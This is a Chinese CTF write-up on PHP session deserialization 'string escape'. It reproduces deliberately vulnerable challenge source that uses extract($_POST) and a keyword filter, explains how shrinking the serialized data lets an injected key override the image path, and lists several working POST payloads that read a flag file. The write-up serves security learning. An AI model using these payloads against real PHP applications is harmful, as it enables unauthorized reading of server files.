首页 > 其他分享 >反序列化进阶--字符串逃逸

反序列化进阶--字符串逃逸

时间:2023-09-21 17:00:24浏览次数:39  
标签:function 20 进阶 img -- SESSION user 序列化

有过一个类题,其实就在moectf2023里的夺命十三枪,我也写过一个wp;

先来看看session的相关知识,这篇文章写的也很好,并且这次的反序列化没有php类,而是session形式,所以待会有些session知识我们也要用到。

https://blog.csdn.net/masterft/article/details/1640122

 

wp部分来自:

https://blog.csdn.net/weixin_52585514/article/details/124291588

https://blog.csdn.net/qq_43622442/article/details/106003691

源码审计

打开就是源码,源码审计一下:

<?php
 
$function = @$_GET['f'];//懂的都懂
 
function filter($img){//是一个过滤器,把符合filter_arr里面的字符替换为空(满足字符串逃逸的条件)
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
 
 
if($_SESSION){
    unset($_SESSION);//把$_SESSION重置为空,就是删除session的操作
}
 
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
 
extract($_POST);//这里就用了变量覆盖的知识
 
if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}
 
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
 
$serialize_info = filter(serialize($_SESSION));//把序列化后的$_SESSION用filter函数过滤
 
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){//ta没骗人,确实能找到一些东西
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));//这里只进行了一次base64解码。
}

来看extract函数:

将变量从数组中导入当前的符号表,这里就是把post数组里的取出来变成php变量,就比如我们post传a=123,那它经过这个函数就变成了$a=123。而且它默认在变量名冲突的时候进行覆盖,这就导致了变量覆盖漏洞。

extract($_POST)就是将post的内容作为这个函数的参数。

然后就是变量覆盖。如果post传参为_SESSION[flag]=123,那么$_SESSION["user"]和$_SESSION["function"]的值都会被覆盖。

至于为什么post要传_SESSION[flag]=123而不是$_SESSION[flag]=123,是因为_SESSION是变量名,如果传$_SESSION,那么就会失效。

本地测试:

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] ='123';
echo '覆盖前:';
var_dump($_SESSION);
echo "<br>";
extract($_POST);
echo '覆盖后:';
var_dump($_SESSION);

换句话说,我们POST里面可以直接传参改掉源码里SESSION注册的原值,把所有SESSION的东西全换成我们POST上去的东西。

 

接下来提示让我们去phpinfo找找,

那就先?f=phpinfo看看能找到什么东西。

直接搜一些敏感点,fopen、disable_、root等等。第二行看到了独特的文件名:d0g3_f1ag.php

找到了一个php文件,意思是页面底部加载文件,即require()。

很显然要通过最后一个语句来打开查看这个文件。

else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

 

而那个文件名以base64编码后的字符串存在userinfo['img']里面,而$userinfo = unserialize($serialize_info)

又$serialize_info= filter(serialize($_SESSION))。

而且在提取文件时,只对文件进行了一次base64解码,所以对应代码里的

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));

搜了一下,sha1是单向加密函数,即不能从结果推出原始字符串。

所以这里我们只能让img_path为空,并把guest_img.png逃逸出去。

 

捋一下思路

$function我们可以通过 $f 直接赋值,么的影响。

现在我们就要base64_decode($userinfo['img'])=d0g3_f1ag.php

那么就要$userinfo['img']=ZDBnM19mMWFnLnBocA==

而$userinfo又是通过$serialize_info反序列化来的$serialize_info又是通过session序列化之后再过滤得来的

//来自https://blog.csdn.net/qq_43622442/article/details/106003691
注意到这个filter函数的作用,它会把匹配到的字符全部赋空,也就是说利用它可以逃逸出想要插进去的字符数,满足序列化里的数字对应

 

本地测一测看看原始的序列化之后是什么玩意:

POST传_SESSION[imgaaa]=123看看:

键值逃逸

思路就来了:(搜了下才发现这叫做键值逃逸)

我们可以照样传个user,但是user的值是filter函数内过滤掉的内容,然后让序列化字符串吞掉后续的真属性,img传假payload,也就是flag文件。

先看这个文件转码过来是什么,是20个字符串:ZDBnM19mMWFnLnBocA==,那么img这里的payload就应该是:

_SESSION[img]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

注意这个部分最后分号后加上  ";}   这三个符号,达到提前闭合的效果,把后续img的真属性给无效化。

中间的function其实也可以不POST传进行变量覆盖了,因为function需要我们GET传f=show_image触发最后的读取函数。

但下面这个做法也还是传了,无伤大雅。

 

首先想到序列化字符串组成是

类名:属性数量:{属性i类型:属性i名字长度:属性i名字;属性i的对应值类型;属性i的对应值名字长度;属性i对应值......}

那么,我们就可以这样制造payload:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=p";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 

因为有变量覆盖,我们POST传这个东西可以直接改值,为所欲为。

前面传6个flag,在经历SESSION序列化并filter后,就会置空,然后就会让序列化字符串自己吞下自己后面的真属性。

 

在代码里SESSION所有属性部分(此处有三个,一个是user,一个是function,一个是img,前两个变量覆盖,最后一个是内置注册的属性,所以开头是a:3)

进行序列化后会变成这样:(这里方框中括号原作者H9_dawn自己加的,方便看的清楚,括号里是我们传的变量值

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:68:"【p";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}】";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

 

经过过滤函数之后,会变成:

a:3:{s:4:"user";s:24:"";s:8:"function";s:68:"【p";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}】";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

 

可以看到,24后面的6个flag被替换为空了,但是指定的长度还是24,怎么办呢?它就会往后吞,不管什么符号,都吞掉24个字符。

吞完之后变成了这样:(这里方框中括号内就是新匹配到的24个字符,是从第一个左双引号之外开始算的,所以第一个吞的就是右双引号)

a:3:{s:4:"user";s:24:"【";s:8:"function";s:68:"p】";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

这时,中括号里的字符串就变成了user的新值,这时候我们自己输入的function参数和制造的img序列化部分,就把真的function参数替代掉了。

 

小补充

至于为什么里面要加一个s:7:"H9_dawn",我开始以为是博主自己名字给wp加个水印,后面我才发现,这不是乱加的。

因为第一次识别的时候,必须要有三个键名和对应的三个键值。

对于键名来说第一个是user,第二个是function,第三个img。user有吞掉的字符串成为新值,但是funtion只有一个键名序列化,没有它自己的键值序列化,我们就需要补充这个键值序列化来充当function的新值。然后是img,因为是提前人为构造好了,所以没有问题。

 

那么,直接开传:

get传

f=show_image

post传(这里我也浅浅加个水印吧~~~)

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=p";s:8:"function";s:11:"EddieMurphy";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

虽然一篇空白,我们查看源码:

那就再转一次base64码,发现还是20个字符串刚刚好,不用再改数字,直接传进去:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=p";s:8:"function";s:11:"EddieMurphy";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

成功获取flag。

 

键名逃逸

来自https://www.bilibili.com/read/cv18660727/

好方法。

payload:

_SESSION[flagphp]=;s:2:"db";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

序列化后:

"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

 

同理

这里附上多个大佬payload,方便大家理解和自己构造payload:

get:f=show_image

post:
_SESSION[fl1gfl1g]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";} _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"1";} _SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} _SESSION[user]=phpphpphpphpphpphpphpphp&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"ab";s:2:"cc";}

 

总结

这也就是字符串逃逸的思路:

1)按用途

缩短:把序列化后的字符串通过本身过滤规则/替换规则把真函数/参数给吞掉,传假参数上去狸猫换太子,利用payload最后的右花括号  }  提前闭合序列化后的字符串,然后获取flag。

变长:把序列化后的字符串通过本身替换规则腾出新的字符空间,根据数字对应可以传特定payload上去,利用payload最后的右花括号  }  提前闭合序列化后的字符串获取flag。

2)按方法

键名逃逸

键值逃逸

标签:function,20,进阶,img,--,SESSION,user,序列化
From: https://www.cnblogs.com/EddieMurphy-blogs/p/17719978.html

相关文章

  • 方案:TSINGSEE青犀智能分析网关皮带撕裂算法的场景应用
    在工地矿山等现实场景中,皮带运输在生产过程中是必不可少的,然而,由于长时间高强度的运转,皮带很容易发生撕裂、破损、跑偏等问题。这些问题会严重影响生产速度,甚至会导致严重的安全事故。为了有效预防此类安全事故发生,提高生产效率,TSINGSEE青犀AI智能分析网关——皮带撕裂算法可以解......
  • flutter 复制文本功能文件
    //Copyright2014TheFlutterAuthors.Allrightsreserved.//UseofthissourcecodeisgovernedbyaBSD-stylelicensethatcanbe//foundintheLICENSEfile.import'package:flutter/foundation.dart';import'system_channels.dart�......
  • 安防监控视频AI智能分析网关:人流量统计算法的应用场景汇总
    TSINGSEE青犀人流量检测算法是内置在智能分析网关中的一种能够通过AI分析和计算人群数量以及密度的算法技术,在提升城市管理效率、改善用户体验和增加安全性方面发挥着重要作用。人流量检测算法在许多领域都有广泛的应用,如智慧城市、智慧交通、智慧景区等。人流量检测算法在一网......
  • 在用的vscode插件汇总
    辅助开发类CodeSpellChecker提示你英语语法错误,还能帮你纠正为正确的单词CodeRunner帮你运行脚本文件,不再需要打开控制台>pythonmain.pynodeapp.js翻译(英汉词典)本地词库,实现翻译console-helper前端打印用的,快速对console输出,删除。ProjectMa......
  • Git忽略提交规则 - .gitignore配置运维总结
    在使用Git的过程中,我们喜欢有的文件比如日志,临时文件,编译的中间文件等不要提交到代码仓库,这时就要设置相应的忽略规则,来忽略这些文件的提交。简单来说一个场景:在你使用gitadd.的时候,遇到了把你不想提交的文件也添加到了缓存中去的情况,比如项目的本地配置信息,如果你上传到Git中去......
  • 《探索C++多线程》:condition_variable源码(一)
    https://blog.csdn.net/hujingshuang/article/details/70596630    现在接着学习关于多线程编程的特征,在这一节,将会了解到多线程中的condition_variable(条件变量)的相关知识。     在头文件<condition_variable>中有两种条件变量的类声明与定义:condition_varia......
  • 自定义实现promise.all
    Promise.all是一个在JavaScript中常见的函数,用于处理一个Promise数组。当数组中的所有Promise都完成时,Promise.all将返回一个新的Promise,该Promise将解析为包含所有输入Promise解析值的数组。如果任何一个Promise失败,返回的Promise将立即被标记为失败,并且该数组将只包含失败的Prom......
  • Cpu 资源占用高排查
    查看java进程psaux|grepjava或者ps-ef|grepjava查看java进程线程信息使用top-p[PID]-H观察该进程中所有线程的资源占用top-p[PID]-Hexg:top-p289-H使用jstack查看线程快照jstack[PID]|grep-A100nid=0x1802[线程ID需要转成16进制,且要威小......
  • STL(13) map multimap
    目录基本结构源码map独有的operator[]和set的区别set中key就是value,value就是key而map中value中有key和data基本结构key不能改data可以改源码仍然是一步步的传递这里的迭代器改为了一个普通的iteratorselect1st的实现map独有的operator[]uploading-image-60053.png......
  • 科普:什么是视频监控平台?如何应用在场景中?
    随着科技的发展,监控无处不在,就像一张密不透风的网,将生活中的角角落落都编织在一起。可是,你真的知道什么是安防视频监控平台吗?它可不止是一个简单的通电摄像头,如今的视频监控平台,涵盖了无数精密细致的算法与技术,是通过集成视频监控设备与软件系统,对指定区域或场所进行实时监控与数......